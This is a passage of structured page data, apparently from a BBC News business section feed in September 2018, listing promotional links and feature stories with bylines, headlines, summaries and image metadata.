"allowSyndication": True } } } }, "options": {}, "summary": "The latest news and analysis in aerospace & defence", "title": "Aerospace & Defence", "type": "LINK" }, { "assetTypeCode": "PRO", "contentType": "Text", "firstCreated": "2018-01-04T16:57:22+00:00", "lastUpdated": "2018-01-04T16:57:22+00:00", "links": { "desktop": "http://news.bbc.co.uk/1/hi/in_depth/business/2009/carmakers/default.stm", "highweb": "http://news.bbc.co.uk/1/hi/in_depth/business/2009/carmakers/default.stm" }, "media": { "images": { "index": { "77958343": { "height": 432, "width": 768, "href": "http://news.bbcimg.co.uk/media/images/77958000/jpg/_77958343_77958342.jpg", "originCode": "mcs", "altText": "The new Volkswagen XL Sport is presented during the Volkswagen Group Night prior to the Paris Motor Show", "copyrightHolder": "European Photopress Agency" } }, "index-thumbnail": { "77958345": { "height": 180, "width": 320, "href": "http://news.bbcimg.co.uk/media/images/77958000/jpg/_77958345_77958342.jpg", "originCode": "mcs", "altText": "The new Volkswagen XL Sport is presented during the Volkswagen Group Night prior to the Paris Motor Show", "copyrightHolder": "European Photopress Agency" } } } }, "options": {}, "summary": "The latest news and analysis from the motoring world", "title": "Global Car Industry", "type": "LINK" }, { "assetTypeCode": "PRO", "contentType": "Text", "firstCreated": "2015-06-23T15:55:10+00:00", "lastUpdated": "2015-06-23T15:55:10+00:00", "links": { "desktop": "http://www.bbc.co.uk/news/business-15521824", "highweb": "http://www.bbc.co.uk/news/business-15521824" }, "media": { "images": { "index": { "70436024": { "height": 432, "width": 768, "href": "http://news.bbcimg.co.uk/media/images/70436000/jpg/_70436024_70436023.jpg", "originCode": "mcs", "altText": "Light bulbs", "copyrightHolder": "Getty Images" } }, "index-thumbnail": { "70436022": { "height": 180, "width": 320, "href": "http://news.bbcimg.co.uk/media/images/70436000/jpg/_70436022_70436020.jpg", "originCode": "mcs", "altText": "Light bulbs", "copyrightHolder": "Getty Images" } } } }, "options": {}, "summary": "The latest news and analysis about the future and cost of power", "title": "Energy", "type": "LINK" }, { "assetTypeCode": "PRO", "contentType": "Text", "firstCreated": "2015-09-15T13:35:56+00:00", "lastUpdated": "2015-09-15T13:35:56+00:00", "links": { "desktop": "http://www.bbc.co.uk/news/business-33256209", "highweb": "http://www.bbc.co.uk/news/business-33256209" }, "media": { "images": { "index": { "85555917": { "height": 334, "width": 594, "href": "http://c.files.bbci.co.uk/11913/production/_85555917_85555916.jpg", "originCode": "cpsprodpb", "altText": "Canada v Fiji rugby union 2015", "copyrightHolder": "Getty Images" } }, "index-thumbnail": { "85555919": { "height": 180, "width": 320, "href": "http://c.files.bbci.co.uk/16733/production/_85555919_85555916.jpg", "originCode": "cpsprodpb", "altText": "Canada v Fiji rugby union 2015", "copyrightHolder": "Getty Images" } } } }, "options": {}, "summary": "The finances, economics and development of rugby union.", "title": "Business of Rugby", "type": "LINK" }, { "assetTypeCode": "PRO", "contentType": "Text", "firstCreated": "2015-10-15T09:30:22+00:00", "lastUpdated": "2015-10-15T09:30:22+00:00", "links": { "enhancedmobile": "http://www.bbc.co.uk/news/mobile/business-32224205", "desktop": "http://www.bbc.co.uk/news/business-32224205", "highweb": "http://www.bbc.co.uk/news/business-32224205", "mobile": "http://www.bbc.co.uk/news/mobile/business-32224205" }, "media": { "images": { "index": { "86040603": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/778C/production/_86040603_img_2541.jpg", "originCode": "cpsprodpb", "caption": "Whitney Wolfe founded Bumble after leaving her previous dating app start-up Tinder", "altText": "Whitney Wolfe standing in front of patterned wallpaper", "copyrightHolder": "BBC" } }, "index-thumbnail": { "86134352": { "height": 180, "width": 320, "href": "http://c.files.bbci.co.uk/62FF/production/_86134352_img_2541.jpg", "originCode": "cpsprodpb", "caption": "Whitney Wolfe founded Bumble after leaving her previous dating app start-up Tinder", "altText": "Whitney Wolfe standing in front of patterned wallpaper", "copyrightHolder": "BBC" } } } }, "options": {}, "summary": "The people and firms shaking up business with new technology", "title": "The Digital Disruptors", "type": "LINK" }, { "assetTypeCode": "PRO", "contentType": "Text", "firstCreated": "2015-10-20T15:54:58+00:00", "lastUpdated": "2015-10-20T15:54:58+00:00", "links": { "enhancedmobile": "http://www.bbc.co.uk/news/mobile/business-29617902", "desktop": "http://www.bbc.co.uk/news/business-29617902", "highweb": "http://www.bbc.co.uk/news/business-29617902", "mobile": "http://www.bbc.co.uk/news/mobile/business-29617902" }, "media": { "images": { "index": { "86230454": { "height": 371, "width": 660, "href": "http://c.files.bbci.co.uk/B15B/production/_86230454_bar1.jpg", "originCode": "cpsprodpb", "altText": "A barman in Seoul", "copyrightHolder": "BBC" } }, "index-thumbnail": { "77958345": { "height": 180, "width": 320, "href": "http://news.bbcimg.co.uk/media/images/77958000/jpg/_77958345_77958342.jpg", "originCode": "mcs", "altText": "The new Volkswagen XL Sport is presented during the Volkswagen Group Night prior to the Paris Motor Show", "copyrightHolder": "European Photopress Agency" } } } }, "options": {}, "summary": "How to achieve business success", "title": "How to succeed in", "type": "LINK" }, { "assetTypeCode": "PRO", "contentType": "Text", "firstCreated": "2015-09-14T07:24:46+00:00", "lastUpdated": "2015-09-14T07:24:46+00:00", "links": { "desktop": "http://www.bbc.co.uk/news/technology-33978561", "highweb": "http://www.bbc.co.uk/news/technology-33978561" }, "media": { "images": { "index": { "85530918": { "height": 351, "width": 624, "href": "http://c.files.bbci.co.uk/13FEF/production/_85530918_85530917.jpg", "originCode": "cpsprodpb", "altText": "Intelligent Machines", "copyrightHolder": "BBC" } }, "index-thumbnail": { "85530920": { "height": 180, "width": 320, "href": "http://c.files.bbci.co.uk/0B57/production/_85530920_85530917.jpg", "originCode": "cpsprodpb", "altText": "Intelligent Machines", "copyrightHolder": "BBC" } } } }, "options": {}, "summary": "The dawn of artificial intelligence", "title": "Intelligent Machines", "type": "LINK" }, { "assetTypeCode": "PRO", "contentType": "Text", "firstCreated": "2015-01-27T09:19:49+00:00", "lastUpdated": "2015-01-27T09:19:49+00:00", "links": { "desktop": "http://www.bbc.co.uk/news/business-30384697", "highweb": "http://www.bbc.co.uk/news/business-30384697" }, "media": { "images": { "index": { "80542600": { "height": 450, "width": 800, "href": "http://news.bbcimg.co.uk/media/images/80542000/jpg/_80542600_airbus_-_concept_plane_-_side_back_view_right.jpg", "originCode": "mcs", "altText": "Airbus concept plane", "copyrightHolder": "Airbus" } }, "index-thumbnail": { "80542602": { "height": 180, "width": 320, "href": "http://news.bbcimg.co.uk/media/images/80542000/jpg/_80542602_airbus_-_concept_plane_-_side_back_view_right.jpg", "originCode": "mcs", "altText": "Airbus concept plane", "copyrightHolder": "Airbus" } } } }, "options": {}, "summary": "Features and videos on the future of mobility", "title": "Tomorrow's Transport", "type": "LINK" } ], "semanticGroupName": "Other site promotion" }, { "type": "feature-main", "title": "Features", "strapline": { "name": "Features & Analysis" }, "items": [ { "assetId": "45485255", "assetUri": "/news/business-45485255", "byline": { "name": "By Jonathan Josephs", "persons": [ { "name": "Jonathan Josephs", "function": "Business reporter, BBC News", "originCode": "MCS" } ], "title": "Business reporter, BBC News" }, "firstCreated": "2018-09-12T23:18:28+00:00", "headline": "The UK's growing tech trade ties with Israel", "language": "en-gb", "lastUpdated": "2018-09-12T23:18:28+00:00", "media": { "images": { "index": { "103393144": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/AC6B/production/_103393144_hi048470912.jpg", "originCode": "cpsprodpb", "altText": "A Tevva Motors lorry", "copyrightHolder": "BBC", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedSummary": " ", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Feature", "categoryName": "Feature" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "As the UK looks at developing more trade deals outside the EU after Brexit, its increasing ties with Israel could provide the model.", "type": "STY" }, { "assetTypeCode": "PRO", "contentType": "Feature", "firstCreated": "2018-09-11T13:47:33+00:00", "lastUpdated": "2018-09-11T13:47:33+00:00", "links": { "desktop": "https://www.bbc.co.uk/news/resources/idt-sh/The_lost_decade", "highweb": "https://www.bbc.co.uk/news/resources/idt-sh/The_lost_decade" }, "media": { "images": { "index": { "103386372": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/6AE8/production/_103386372_skyline_getty.jpg", "originCode": "cpsprodpb", "altText": "London skyline", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": {}, "title": "The financial crisis: The lost decade", "type": "LINK" }, { "assetId": "44968514", "assetUri": "/news/business-44968514", "byline": { "name": "By Chris Baraniuk", "persons": [ { "name": "Chris Baraniuk", "function": "Technology reporter", "originCode": "MCS" } ], "title": "Business reporter" }, "firstCreated": "2018-09-11T23:34:00+00:00", "headline": "Who's winning the global race to offer superfast 5G?", "language": "en-gb", "lastUpdated": "2018-09-11T23:34:00+00:00", "media": { "images": { "index": { "103386543": { "height": 576, "width": 1024, "href": "http://c.files.bbci.co.uk/8708/production/_103386543_gettyimages-932866170.jpg", "originCode": "cpsprodpb", "caption": "5G was showcased in a variety of ways during this year's Winter Olympics", "altText": "Ice skaters racing", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedHeadline": "Who's winning the race to offer superfast 5G?", "overtypedSummary": " ", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Feature", "categoryName": "Feature" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "China, the US and the UK are all vying to dominate the market for next-generation mobile networks.", "type": "STY" }, { "assetId": "45371502", "assetUri": "/news/business-45371502", "byline": { "name": "By Lucy Hooker", "persons": [ { "name": "Lucy Hooker", "function": "Business reporter, BBC News", "originCode": "MCS" } ], "title": "Business reporter, BBC News" }, "firstCreated": "2018-09-11T23:23:30+00:00", "headline": "Why 12 is the magic number when it comes to composting", "language": "en-gb", "lastUpdated": "2018-09-11T23:23:30+00:00", "media": { "images": { "index": { "103272158": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/14C87/production/_103272158_finishedcompost-1.jpg", "originCode": "cpsprodpb", "altText": "Hands holding compost", "copyrightHolder": "Jenny Grant", "allowSyndication": False } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedHeadline": "The magic number when it comes to composting", "overtypedSummary": " ", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Feature", "categoryName": "Feature" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "More and more packaging is claiming to be \"biodegradable\" or \"compostable\", but what does that really mean?", "type": "STY" }, { "assetId": "45481996", "assetUri": "/news/business-45481996", "byline": { "name": "By Sean Coughlan", "persons": [ { "name": "Sean Coughlan", "function": "BBC News education and family correspondent", "twitterName": "seanjcoughlan", "originCode": "MCS" } ], "title": "BBC News education and family correspondent" }, "firstCreated": "2018-09-11T23:36:45+00:00", "headline": "Which universities will really impress the boss?", "language": "en-gb", "lastUpdated": "2018-09-11T23:36:45+00:00", "media": { "images": { "index": { "103381932": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/5D6E/production/_103381932_graduation2.jpg", "originCode": "cpsprodpb", "altText": "Graduation", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedSummary": " ", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Feature", "categoryName": "Feature" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "Which is the best university name in the world to put on a job application?", "type": "STY" }, { "assetId": "45470799", "assetUri": "/news/business-45470799", "byline": { "name": "By Padraig Belton", "persons": [ { "name": "Padraig Belton", "function": "Business reporter", "originCode": "MCS" } ], "title": "Technology of Business reporter" }, "firstCreated": "2018-09-10T23:03:37+00:00", "headline": "'A new bladder made from my cells gave me my life back'", "language": "en-gb", "lastUpdated": "2018-09-10T23:03:37+00:00", "media": { "images": { "index": { "103367069": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/1774C/production/_103367069_lukemassella.jpg", "originCode": "cpsprodpb", "caption": "Luke Massella has to undergo surgery multiple times as a boy", "altText": "Luke Massella as a boy with his parents", "copyrightHolder": "Massella Family", "allowSyndication": False } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedHeadline": "'A bladder made from my cells gave me my life back'", "overtypedSummary": " ", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Feature", "categoryName": "Feature" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "Specialised printers are helping to create organic replacement body parts more quickly and safely.", "type": "STY" }, { "assetId": "44846317", "assetUri": "/news/business-44846317", "byline": { "name": "By Tamasin Ford", "persons": [ { "name": "Tamasin Ford", "function": "BBC News, Buutuo, Liberia", "originCode": "MCS" } ], "title": "Accra, Ghana" }, "firstCreated": "2018-09-10T23:08:50+00:00", "headline": "The entrepreneur behind Ghana's future inventors", "language": "en-gb", "lastUpdated": "2018-09-10T23:08:50+00:00", "media": { "images": { "index": { "102565898": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/15F00/production/_102565898_15-year-oldprincessmakafui-right2.jpg", "originCode": "cpsprodpb", "caption": "Princess Makafui and her friend use the science kit", "altText": "Princess Makafui and her friend use the science kit", "copyrightHolder": "BBC", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedSummary": " ", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Feature", "categoryName": "Feature" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "Charles Ofori Antimpem is the inventor of a science set which is the size and price of a textbook which he now hopes to share with children across Africa.", "type": "STY" }, { "assetId": "45395216", "assetUri": "/news/business-45395216", "byline": { "name": "By Anne Cassidy", "persons": [ { "name": "Anne Cassidy", "function": "Business reporter", "originCode": "MCS" } ], "title": "Business reporter" }, "firstCreated": "2018-09-09T23:14:14+00:00", "headline": "The dad who feeds his son burgers almost every day", "language": "en-gb", "lastUpdated": "2018-09-09T23:14:14+00:00", "media": { "images": { "index": { "103315943": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/8887/production/_103315943_beyondmeat_ethanbrown_beyondburger.jpg", "originCode": "cpsprodpb", "altText": "Ethan Brown", "copyrightHolder": "Beyond Meat", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedSummary": " ", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Feature", "categoryName": "Feature" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "A profile of Ethan Brown, the founder and boss of best-selling vegan burger company Beyond Meat.", "type": "STY" }, { "assetId": "45419105", "assetUri": "/news/business-45419105", "byline": { "name": "By Suzanne Bearne", "persons": [ { "name": "Suzanne Bearne", "function": "Business reporter", "originCode": "MCS" } ], "title": "Technology of Business reporter" }, "firstCreated": "2018-09-06T23:00:10+00:00", "headline": "Are 'swipe left' dating apps bad for our mental health?", "language": "en-gb", "lastUpdated": "2018-09-06T23:00:10+00:00", "media": { "images": { "index": { "103318088": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/15811/production/_103318088_gettyimages-871189020.jpg", "originCode": "cpsprodpb", "caption": "Too many rejections on dating apps can lower our self-esteem, psychologists say", "altText": "Sad girl listening to music on her phone", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedSummary": " ", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Feature", "categoryName": "Feature" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "Dating apps are hugely popular around the world, but some think they're making many of us unhappy.", "type": "STY" }, { "assetId": "45421621", "assetUri": "/news/education-45421621", "byline": { "name": "By Sean Coughlan", "persons": [ { "name": "Sean Coughlan", "correspondentId": "seancoughlan", "url": "/news/correspondents/seancoughlan", "function": "BBC News education and family correspondent", "thumbnail": "http://c.files.bbci.co.uk/1784/production/_103102060_seanclip.jpg", "twitterName": "seanjcoughlan", "originCode": "CPSPRODPB" } ], "title": "BBC News education and family correspondent" }, "firstCreated": "2018-09-07T00:36:25+00:00", "headline": "Is the tuition fees 'illusion' about to unravel?", "language": "en-gb", "lastUpdated": "2018-09-07T00:36:25+00:00", "media": { "images": { "index": { "96778978": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/157B3/production/_96778978_seminar976.jpg", "originCode": "cpsprodpb", "altText": "seminar", "copyrightHolder": "Getty Images", "allowSyndication": True } }, "index-thumbnail": { "103318975": { "height": 180, "width": 320, "href": "http://c.files.bbci.co.uk/E27D/production/_103318975_seminar976.jpg", "originCode": "cpsprodpb", "altText": "seminar", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedSummary": " ", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Analysis", "categoryName": "Analysis" } }, "section": { "name": "Family & Education", "id": "99105", "uri": "/news/education", "urlIdentifier": "/news/education" }, "summary": "If student loans are added to the deficit, there will be tough questions about tuition fees' real cost.", "type": "CSP" }, { "assetId": "45424537", "assetUri": "/news/world-africa-45424537", "byline": { "name": "By Damilola Ade-Odiachi", "persons": [ { "name": "Damilola Ade-Odiachi", "function": "Business reporter, Africa", "originCode": "MCS" } ], "title": "BBC Africa Business reporter" }, "firstCreated": "2018-09-07T13:26:37+00:00", "headline": "Nigeria, the phone company and the $2bn tax bill", "language": "en-gb", "lastUpdated": "2018-09-07T13:26:37+00:00", "media": { "images": { "index": { "103288906": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/EE3C/production/_103288906_gettyimages-81952755.jpg", "originCode": "cpsprodpb", "caption": "MTN, Africa's largest mobile phone company, has had several financial disputes with Nigeria", "altText": "Man standing in front of an MTN billboard", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedSummary": " ", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "Africa", "id": "99121", "uri": "/news/world/africa", "urlIdentifier": "/news/world/africa" }, "summary": "The telecommunications giant was hit with a multi-billion dollar tax bill by Nigerian regulators.", "type": "STY" }, { "assetId": "45330898", "assetUri": "/news/business-45330898", "byline": { "name": "By Pedro C Garcia", "persons": [ { "name": "Pedro C Garcia", "function": "Business reporter, Lisbon", "originCode": "MCS" } ], "title": "Business reporter, Lisbon" }, "firstCreated": "2018-09-05T23:00:01+00:00", "headline": "Are golden visas losing their sparkle?", "language": "en-gb", "lastUpdated": "2018-09-05T23:00:01+00:00", "media": { "images": { "index": { "103285828": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/143AA/production/_103285828_index-photo.jpg", "originCode": "cpsprodpb", "altText": "An EU passport and euro notes", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedSummary": " ", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Feature", "categoryName": "Feature" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "As Portugal's golden visa scheme faces calls to be axed, do such initiatives that offer residency to foreign nationals do more harm than good?", "type": "STY" }, { "assetId": "45273584", "assetUri": "/news/business-45273584", "byline": { "name": "By Mary-Ann Russon", "persons": [ { "name": "Mary-Ann Russon", "function": "Technology Reporter, BBC News", "originCode": "MCS" } ], "title": "Technology of Business reporter" }, "firstCreated": "2018-09-03T23:01:01+00:00", "headline": "The race to make the world's most powerful computer ever", "language": "en-gb", "lastUpdated": "2018-09-03T23:01:01+00:00", "media": { "images": { "index": { "103278055": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/D72F/production/_103278055_gettyimages-523052310.jpg", "originCode": "cpsprodpb", "caption": "Could quantum computing unlock secrets of our bodies and the universe itself?", "altText": "Circuit board head graphic", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedHeadline": "The race to make the most powerful computer ever", "overtypedSummary": " ", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Explainer", "categoryName": "Explainer" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "Quantum computers promise to be blisteringly fast, helping us solve many of the world's problems.", "type": "STY" }, { "assetId": "45343236", "assetUri": "/news/business-45343236", "byline": { "name": "By Lora Jones", "persons": [ { "name": "Lora Jones", "function": "Business Reporter, BBC News", "originCode": "MCS" } ], "title": "Business Reporter, BBC News" }, "firstCreated": "2018-09-05T23:00:07+00:00", "headline": "How much debt do UK households have?", "language": "en-gb", "lastUpdated": "2018-09-05T23:00:07+00:00", "media": { "images": { "index": { "103273967": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/12C89/production/_103273967_gettyimages-682285434.jpg", "originCode": "cpsprodpb", "altText": "Stack of multicoloured credit cards.", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedSummary": " ", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Explainer", "categoryName": "Explainer" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "With the collapse of payday loan company Wonga and new rules on credit cards, BBC News explains debt.", "type": "STY" }, { "assetId": "44535287", "assetUri": "/news/business-44535287", "byline": { "name": "By Ijeoma Ndukwe ", "persons": [ { "name": "Ijeoma Ndukwe", "function": "Ikeja, Nigeria", "originCode": "MCS" } ], "title": "Epe, Nigeria" }, "firstCreated": "2018-09-03T23:07:07+00:00", "headline": "In Nigeria this baby kit bag is saving mothers' lives", "language": "en-gb", "lastUpdated": "2018-09-03T23:07:07+00:00", "media": { "images": { "index": { "102700845": { "height": 1152, "width": 2048, "href": "http://c.files.bbci.co.uk/D610/production/_102700845_img_5993.jpg", "originCode": "cpsprodpb", "caption": "The Mother's Delivery Kit contains everything from disinfectants and sterile globes to a scalpel to cut the umbilical cord.", "altText": "Peju Jaiyeoba showing the contents of the Mother's Delivery Kit", "copyrightHolder": "BBC", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedSummary": " ", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Feature", "categoryName": "Feature" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "In Nigeria every day 118 women die giving birth, but one woman has created a life-saving maternity kit to keep them alive.", "type": "STY" }, { "assetId": "45330897", "assetUri": "/news/business-45330897", "byline": { "name": "By Kieron Johnson", "persons": [ { "name": "Kieron Johnson", "function": "Business reporter", "originCode": "MCS" } ], "title": "Business reporter" }, "firstCreated": "2018-09-03T00:04:23+00:00", "headline": "The basketball boss who made billions", "language": "en-gb", "lastUpdated": "2018-09-03T00:04:23+00:00", "media": { "images": { "index": { "103231654": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/B22D/production/_103231654_gettyimages-474724673.jpg", "originCode": "cpsprodpb", "altText": "Mark Cuban", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedSummary": " ", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Feature", "categoryName": "Feature" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "Self-made billionaire Mark Cuban, owner of the Dallas Mavericks, says it was always his aim in life to be wealthy.", "type": "STY" }, { "assetId": "45020473", "assetUri": "/news/business-45020473", "byline": { "name": "By Daniel Gallas", "persons": [ { "name": "Daniel Gallas", "function": "BBC South America Business correspondent", "originCode": "MCS" } ], "title": "BBC South America Business correspondent" }, "firstCreated": "2018-09-03T00:10:47+00:00", "headline": "Creating start-ups against the odds in Brazil", "language": "en-gb", "lastUpdated": "2018-09-03T00:10:47+00:00", "media": { "images": { "index": { "102776497": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/1366B/production/_102776497_de217.jpg", "originCode": "cpsprodpb", "caption": "Brazil has the world's second-largest population of dogs", "altText": "Woman with her dog", "copyrightHolder": "BBC", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedSummary": " ", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Feature", "categoryName": "Feature" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "Brazil has a slow, bureaucratic tech scene - but some entrepreneurs say if you persist, it pays off.", "type": "STY" }, { "assetId": "45292798", "assetUri": "/news/business-45292798", "byline": { "name": "By Ana Nicolaci da Costa ", "persons": [ { "name": "Ana Nicolaci da Costa", "function": "BBC Business reporter", "originCode": "MCS" } ], "title": "BBC Business reporter" }, "firstCreated": "2018-09-02T00:22:55+00:00", "hasShortForm": True, "headline": "'Crazy Rich Asians' and a growing wealth gap", "language": "en-gb", "lastUpdated": "2018-09-02T00:22:55+00:00", "media": { "images": { "index": { "103208712": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/5514/production/_103208712_constancewupic.jpg", "originCode": "cpsprodpb", "altText": "Actress Constance Wu at premier of \"Crazy Rich Asians\" movie in California", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedSummary": " ", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Analysis", "categoryName": "Analysis" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "The Asia-Pacific has the biggest number of the world's very wealthy and almost two-thirds of its working poor.", "type": "STY" }, { "assetId": "45332710", "assetUri": "/news/business-45332710", "byline": { "name": "By Padraig Belton", "persons": [ { "name": "Padraig Belton", "function": "Business reporter", "originCode": "MCS" } ], "title": "Technology of Business reporter" }, "firstCreated": "2018-08-30T23:22:38+00:00", "headline": "'My robot makes me feel like I haven't been forgotten'", "language": "en-gb", "lastUpdated": "2018-08-30T23:22:38+00:00", "media": { "images": { "index": { "103232449": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/170D7/production/_103232449_zoejohnsoncomp.jpg", "originCode": "cpsprodpb", "altText": "Zoe Johnson", "copyrightHolder": "BBC", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedSummary": " ", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Feature", "categoryName": "Feature" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "How internet-connected robots are helping combat the scourge of isolation and loneliness.", "type": "STY" }, { "assetId": "45359773", "assetUri": "/news/business-45359773", "byline": { "name": "By Kevin Peachey", "persons": [ { "name": "Kevin Peachey", "function": "Personal finance reporter", "twitterName": "PeacheyK", "originCode": "MCS" } ], "title": "Personal finance reporter" }, "firstCreated": "2018-08-30T16:49:14+00:00", "headline": "Wonga: Will my debt be written off?", "language": "en-gb", "lastUpdated": "2018-08-30T17:37:47+00:00", "media": { "images": { "index": { "103231713": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/7BE1/production/_103231713_paymentbbc.jpg", "originCode": "cpsprodpb", "altText": "Payment due on calendar", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedSummary": " ", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "Payday lender Wonga has collapsed, but what does this mean for borrowers and compensation claimants?", "type": "STY" } ], "semanticGroupName": "Features" }, { "type": "live-event-now", "title": "The financial crisis 10 years on", "strapline": { "name": "The financial crisis 10 years on" }, "maxRelatedLinks": 4, "items": [ { "assetId": "45488784", "assetUri": "/news/business-45488784", "byline": { "name": "By Kevin Peachey", "persons": [ { "name": "Kevin Peachey", "function": "Personal finance reporter", "twitterName": "PeacheyK", "originCode": "MCS" } ], "title": "Personal finance reporter" }, "firstCreated": "2018-09-12T23:01:27+00:00", "headline": "How safe are my savings after the crisis?", "language": "en-gb", "lastUpdated": "2018-09-12T23:01:27+00:00", "media": { "images": { "index": { "103396619": { "height": 408, "width": 725, "href": "http://c.files.bbci.co.uk/16615/production/_103396619_savings_getty.jpg", "originCode": "cpsprodpb", "altText": "Piggy bank with lock and chain", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedHeadline": "Are my savings safe after the crisis?", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Feature", "categoryName": "Feature" } }, "prominence": "none", "relatedGroups": [ { "type": "index", "items": [ { "assetId": "45487695", "assetUri": "/news/business-45487695", "firstCreated": "2018-09-11T23:02:10+00:00", "hasShortForm": True, "headline": "Workers are 800 a year poorer post-crisis", "includeComments": True, "language": "en-gb", "lastUpdated": "2018-09-11T23:02:10+00:00", "passport": { "category": { "categoryId": 